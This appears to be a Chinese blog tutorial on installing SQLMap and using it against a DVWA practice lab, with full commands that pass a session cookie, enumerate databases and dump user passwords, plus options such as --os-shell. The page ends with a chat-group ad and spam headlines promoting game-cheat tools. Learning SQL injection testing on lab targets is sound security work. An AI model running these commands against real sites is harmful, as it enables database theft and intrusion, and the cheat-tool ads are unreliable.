安全测试必备工具——SQLMap 安装及基本应用
创始人
2025-01-15 19:04:32
0

在这里插入图片描述
检测SQL注入漏洞的专用工具是安全人士工具箱的必备品。Sqlmap是由python开发的用来检测与利用SQL注入漏洞的免费开源工具。它可以确定哪些参数、标头或数据元素容易受到SQL注入的影响,以及哪些类型的攻击是可能的。本文详细讲解这款神器的安装及使用。

1、什么是SQLMap?

SQLmap是一款由python开发的用来检测与利用SQL注入漏洞的免费开源工具。支持多种数据库,如MySQL、Oracle、PostgreSQL、SQL Server、Access、IBMDB2、SQLite等数据库。有一个非常棒的特性,即对检测与利用的自动化处理(如数据库指纹、访问底层文件系统、执行命令)。

2、SQLMap下载

官方网站下载:http://sqlmap.org/

图片

这里选择Github去下载

图片

3、win10下SQLMap安装

1、先安装好python环境,不管是2还是3版本都支持(python安装过程略,自行百度解决)。安装后可cmd命令窗口输入python -V 查看到版本信息即为成功。

在这里插入图片描述

2、将下载好的sqlmap-master.zip压缩包,解压到自己需要的目录

3、进入解压后的目录,在显示目录路径位置输入cmd回车,在弹出的命令行窗口,输入 python sqlmap.py即开启工具使用

图片

4、SQLMap的常用参数

-u∶指定目标URL进行sql注入检测

–batch:自动去做问题应答

–cookie :当前会话的cookie值

–dbs: 查询当前网站所有数据库

-D:指定数据库名

–tables:查询数据库下的所有表名

-T:指定表名

–columns:指定查询所有字段

-C:指定字段的名称

–dump:查询并导出其数据,拖库

–current-db:获取当前数据库

–current-user :获取当前登录数据库用户名称

–users:查询数据库的所有用户

–password:查询数据库用户的密码

–os-shell:直接返回一个shell(如果存在的话)

-flush-session 刷新session文件

如果不想用之前缓存这个目标的session文件,可以使用这个参数。会清空之前的session,重新测试该目标。

5、SQLMap的基本应用

基于DVWA靶场以下模块,进行SQLMap实操演示

图片

1、注入判断 -u

输入:python sqlmap.py -u http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit。去进行操作–会报错,需要登录。

图片

图片

2、添加cookie绕过登录

python sqlmap.py -u “http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low”。

运行过程中需要用户输入y/n才能进入下一步操作,如果希望跳过这些,可以在命令末尾加 --batch

图片

图片

通过以上结果可知,存在SQL注入点。

3、查询当下所有数据库

python sqlmap.py -u “http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low” --dbs --batch

图片

4、查询指定库下的表名

python sqlmap.py -u “http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low” -D dvwa --tables

图片

5、查指定表的所有字段

python sqlmap.py -u “http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low” -D dvwa -T users --columns

图片

6、查询字段内容

python sqlmap.py -u “http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low” -D dvwa -T users -C user,password --dump

这个过程有点慢,请耐心等待,最终得到表的所有用户及明文密码信息。

图片

最后

此文中提到的工具及技术操作,仅用于学术交流,请遵守《网络安全法》,严禁将此文中工具和技术用于非法攻击测试。

学无止境,行以致远!

行动吧,在路上总比一直观望的要好,未来的你肯定会感 谢现在拼搏的自己!如果想学习提升找不到资料,没人答疑解惑时,请及时加入群: 759968159,里面有各种测试开发资料和技术可以一起交流哦。

最后: 下方这份完整的软件测试视频教程已经整理上传完成,需要的朋友们可以自行领取 【保证100%免费】

在这里插入图片描述

软件测试面试文档

我们学习必然是为了找到高薪的工作,下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料,并且有字节大佬给出了权威的解答,刷完这一套面试资料相信大家都能找到满意的工作。在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

相关内容

热门资讯

程序员教你!方片十三张外挂,h... 程序员教你!方片十三张外挂,hhpoker辅助器,大纲教程(了解有挂)1、超多福利:超高返利,海量正...
盘点一款!途游大作战辅助,科乐... 盘点一款!途游大作战辅助,科乐天天踢辅助视频,教材教程(讲解有挂)1、每一步都需要思考,不同水平的挑...
科技通报!微信小游戏修改器,乾... 科技通报!微信小游戏修改器,乾坤互娱辅助,手册教程(新版有挂)1、微信小游戏修改器模拟器是什么优化,...
终于清楚!金虎爷有挂吗,约战竞... 终于清楚!金虎爷有挂吗,约战竞技场辅助脚本,模板教程(真的有挂)一、金虎爷有挂吗可以开透视的定义与意...
实测必看!菠萝神辅助器app,... 实测必看!菠萝神辅助器app,潮汕汇辅助器,举措教程(有挂神器)1、菠萝神辅助器app脚本辅助下载、...
热点推荐!微信小程序微乐家乡辅... 热点推荐!微信小程序微乐家乡辅助器,兴动休闲辅助,积累教程(有挂秘笈)微信小程序微乐家乡辅助器透视方...
最新研发!小闲巴渝辅助,海盗来... 最新研发!小闲巴渝辅助,海盗来了辅助脚本,攻略教程(有挂存在)1、这是跨平台的小闲巴渝辅助轻量版有透...
推荐一款!边锋游戏小程序辅助器... 推荐一款!边锋游戏小程序辅助器免费,九酷众游辅助,攻略教程(有挂解惑)1、边锋游戏小程序辅助器免费有...
科技通报!来物局潮汕辅助,卡农... 科技通报!来物局潮汕辅助,卡农血拼辅助,资料教程(确实有挂)1)来物局潮汕辅助辅助插件:进一步探索来...
一分钟了解!免费的衢州都莱辅助... 一分钟了解!免费的衢州都莱辅助器下载,随意玩有没有辅助,经验教程(有挂技巧)进入游戏-大厅左侧-新手...